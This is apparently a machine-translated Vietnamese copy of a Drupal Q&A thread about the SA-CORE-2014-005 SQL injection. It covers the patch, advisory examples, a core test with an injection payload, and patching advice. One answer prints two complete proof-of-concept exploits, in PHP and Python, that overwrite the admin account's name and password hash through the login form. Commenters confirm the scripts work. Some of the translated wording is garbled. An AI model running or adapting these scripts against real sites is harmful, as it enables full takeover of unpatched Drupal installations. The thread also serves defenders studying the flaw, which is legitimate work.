Bản vá nào cho bản vá cho SA-CORE-2014-005 (Drupal 7.32) ngăn chặn?


33

Đọc trên https://www.drupal.org/node/2357241 và các chi tiết kỹ thuật tại https://www.drupal.org/SA-CORE-2014-005 , cũng như bản vá thực tế đơn giản là:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Tôi đang tự hỏi loại yêu cầu nào có thể được thực hiện để sử dụng khai thác này?



Chúng ta có thể trực tiếp thực hiện thay đổi trong cốt lõi? database.inctập tin ?
Hitesh

@hitesh bạn chỉ có thể vá database.inctừ bản vá ở trên (hoặc bằng tay, đây rõ ràng là một thay đổi nhỏ) nhưng tôi cũng khuyên bạn nên vá toàn bộ phần lõi Drupal của mình.
Charlie Schliesser

1
Đối với những người tự hỏi không phải yêu cầu nào sẽ khai thác lỗi, nhưng lỗi thực sự là gì, tôi đã đăng một lời giải thích cho Lập trình viên .
RomanSt

Ngay cả sau khi nâng cấp, ai đó vẫn có thể đặt các tệp .php trong các trang web của tôi. Tôi cũng đã kiểm tra menu_router - không có gì đáng ngờ. Tôi cũng đã chạy kiểm toán trang web và drupalgetaddon
AgA

Câu trả lời:


18

Công ty đã tìm thấy lỗi này có một số ví dụ về Tư vấn 01/2014: Drupal - lỗ hổng Auth SQL Injection trước :

Trích xuất:

Hàm giả định rằng nó được gọi với một mảng không có khóa. Thí dụ:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Kết quả nào trong Câu lệnh SQL này

SELECT * from users where name IN (:name_0, :name_1)

với các tham số name_0 = user1name_1 = user2.

Sự cố xảy ra, nếu mảng có khóa, không có số nguyên. Thí dụ:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

điều này dẫn đến một truy vấn SQL có thể khai thác:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

với các tham số : name_test = user2.

Vì Drupal sử dụng PDO, đa truy vấn được cho phép. Vì vậy, SQL Injection này có thể được sử dụng để chèn dữ liệu tùy ý vào cơ sở dữ liệu, kết xuất hoặc sửa đổi dữ liệu hiện có hoặc loại bỏ toàn bộ cơ sở dữ liệu.

Với khả năng CHỌN dữ liệu tùy ý vào cơ sở dữ liệu, kẻ tấn công có thể thực thi bất kỳ mã PHP nào thông qua các tính năng Drupal với các cuộc gọi lại.


Cảm ơn đã chia sẻ, tôi không thể tìm thấy điều này từ việc tìm kiếm về chủ đề này. The Problem occurs, if the array has keys, which are no integers- điều này và truy vấn ví dụ khá hữu ích trong việc hiểu điều này.
Charlie Schliesser

19

Điều gì đang xảy ra với 7.32 bằng cách kiểm tra mô-đun thử nghiệm. Bạn có thể thấy bài kiểm tra sau đã được thêm vào 7,32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Điều này sẽ cung cấp một số cái nhìn sâu sắc hơn nữa về cách tạo ra một cuộc tấn công.

Bằng chứng về khái niệm Vì đã có quá nhiều thời gian trôi qua và có rất nhiều PoC ngoài tự nhiên.

Số 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Python # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Đây là một blog phân tích tốt: http://www.volexity.com/blog/?p=83


POC đó không hoạt động ....
Kyle Browning

Bạn có thể đăng POC mà tin tặc có thể thay thế dữ liệu $ bằng mảng_values ​​($ data) trong cơ sở dữ liệu không?
Hans Rossel

Tôi có thể xác nhận điều này đã làm việc với một trang web Drupal vanilla. Thật không may ...
AyeshK

Như @greggles đã nói điều này hơi sớm, không phải ai cũng có được bản ghi nhớ. Hãy kiềm chế.
pal4life

Câu hỏi - là "? Q =" cần thiết để thực hiện cuộc tấn công này? máy chủ của tôi tình cờ bỏ các yêu cầu với một đối số get (q hoặc% hoặc mã hóa tương đương%). Chỉ tò mò thôi. Chúng tôi đã vá một lúc trước và không thấy dấu hiệu xâm nhập hay bất cứ điều gì, nhưng tôi tự hỏi liệu chúng tôi có may mắn khi từ chối q = request không?
Kasapo

16

Các nhà nghiên cứu tìm thấy lỗi có một bằng chứng về khái niệm. Những người khác đã phát triển bằng chứng về khái niệm là tốt. Tuy nhiên, họ cố tình không đăng chúng để cố gắng giảm khả năng nó sẽ được khai thác rộng rãi. Chúng ta nên tôn trọng nghiên cứu và hạn chế đó và không đăng các ví dụ ở đây.

Sau một thời gian trôi qua và các trang web được nâng cấp thì sẽ rất thú vị, từ góc độ học thuật, để xem xét mã tấn công bằng chứng khái niệm. Cho đến lúc đó, đó là một rủi ro không cần thiết và thu hút sự chú ý.

Mã trong tư vấn SektioinEins không phải là ví dụ được phát triển đầy đủ về cách khai thác nó. Họ nêu chi tiết về điểm yếu, nhưng không xác định chính xác cách khai thác vấn đề.


Bây giờ đã được vài tuần kể từ khi vấn đề được phát hành và SektionEins đã đăng một số bằng chứng về khái niệm trên blog của họ . Đây là những điều khá thú vị so với nhiều khái niệm chứng minh khác đã được phát triển do chúng để lại rất ít dấu vết hoạt động của chúng (ví dụ: không có gì trong bảng menu_router).


4

Tôi có thể xác nhận rằng lỗ hổng này sẽ hoạt động với mọi trang web Drupal 7.31 trở xuống, không quan trọng mô-đun nào đang hoạt động. Mọi hình thức drupal có thể được sử dụng để khai thác lỗ hổng này.

Khai thác khá đơn giản, vì vậy PoC đã ra ngoài tự nhiên. Tôi đã có thể tấn công máy chủ của riêng mình và thay đổi mật khẩu người dùng là người dùng ẩn danh trong cài đặt Drupal sạch, nhưng khả năng là vô tận.

Lỗi này đã được biết đến gần 1 năm trước thông qua https://www.drupal.org/node/2146839 nhưng không ai trong Nhóm Bảo mật Core của Drupal phản hồi.


Nó không được báo cáo là một vấn đề bảo mật, phải không?
Alfred Armstrong

Nó được gắn thẻ "#securance", ưu tiên của "chính", trạng thái "xem xét nhu cầu" và bao gồm một bản vá về cơ bản đạt được những gì bản vá trong 7.32. Có lẽ #phía trước "bảo mật" đã hạn chế ai đó nhìn thấy điều đó nếu không sẽ có, hoặc có thể có quá nhiều vấn đề trong hàng đợi. Vẫn ngạc nhiên khi không ai trả lời nó.
Charlie Schliesser

3
Nó không được báo cáo là một vấn đề bảo mật, vì vậy có lẽ đội an ninh đã không nhìn thấy nó. Nhưng vâng, anh chàng không chắc đó là vấn đề bảo mật, nên có lẽ đó là lý do.
Berend de Boer

2
Nó đã được báo cáo là "Yêu cầu tính năng" thậm chí không phải là một lỗi. Các tính năng mới không được chấp nhận trong phiên bản ổn định của lõi Drupal nên thông thường nó không được xem xét. Các vấn đề bảo mật không bao giờ được đăng công khai, có một trang rõ ràng về cách báo cáo các vấn đề bảo mật của Drupal cho Nhóm Bảo mật: drupal.org/node/101494
Hans Rossel

4

Tôi tự hỏi làm thế nào điều này có thể được khai thác và mất bao nhiêu thời gian và công sức? Do đó, tôi quyết định cài đặt phiên bản Drupal 7 cũ hơn trên localhost của mình và khắc phục lỗi này. Những gì tôi phát hiện ra là một lỗi gây sốc cho phép bất cứ ai có kiến ​​thức cơ bản về HTML / SQL truy cập đầy đủ vào trang web Drupal của bạn.

Tôi đã quản lý để thực thi SQL SQL vào Drupal 7 bằng cách sử dụng người dùng ẩn danh trong chưa đầy 30 phút thử!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-Exloit-demo

LƯU Ý: Điều này vẫn không cho phép bạn đăng nhập vì Drupal sử dụng SHA512 với muối nên không thể đăng nhập thực sự. Tôi cố tình không đặt mã ở đây, nhưng rõ ràng bất cứ ai có chút kiến ​​thức về Drupal sẽ biết cách khắc phục điều này và xây dựng truy vấn sẽ cung cấp cho bạn quyền truy cập đầy đủ!

Điều này mở ra một câu hỏi về mức độ an toàn của Drupal và ai chịu trách nhiệm cho một cái gì đó như thế này? Rõ ràng lỗi này đã được biết đến hơn một năm ( https://www.drupal.org/node/2146839 ), nhưng không ai không phản ứng trên Drupal.org. Vô tình hay cố ý? :)


1

Đây là bản sửa lỗi của lỗ hổng SQL tiêm trong đó các câu lệnh SQL độc hại được chèn vào trường nhập để thực thi và ví dụ có thể dẫn đến phát hành nội dung cơ sở dữ liệu. Khắc phục sự cố này rất quan trọng để áp dụng càng sớm càng tốt, đặc biệt là vì lỗ hổng này có thể bị người dùng ẩn danh khai thác.

Nếu bạn không thể cập nhật ngay lập tức, nhóm bảo mật, bạn có thể áp dụng bản vá này sẽ cung cấp sự bảo vệ tương tự cho đến khi bạn có thể thực hiện nâng cấp đầy đủ 1 . Ngoài ra, nhóm bảo mật đã chuẩn bị một số Câu hỏi thường gặp liên quan đến vấn đề này. Đặt trang web của bạn ở chế độ bảo trì sẽ không giúp íchvui lòng xóa bộ nhớ cache sau khi áp dụng bản cập nhật hoặc đảm bảo bạn đang sử dụng 7.32.

Ngoài ra, bạn nên kiểm tra xem trang web của bạn chưa bị xâm phạm. Có một số trang web đã báo cáo vấn đề. Đây là một bài đăng trên blog gợi ý cách bạn có thể kiểm tra Cập nhật lên Drupal 7.32 là không đủ, trang web của bạn có thể đã bị hack

Tôi áp dụng bản sửa lỗi vào ngày 15 tháng 10 và các trang web của tôi đã báo cáo ai đó đang cố gắng khai thác lỗ hổng

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.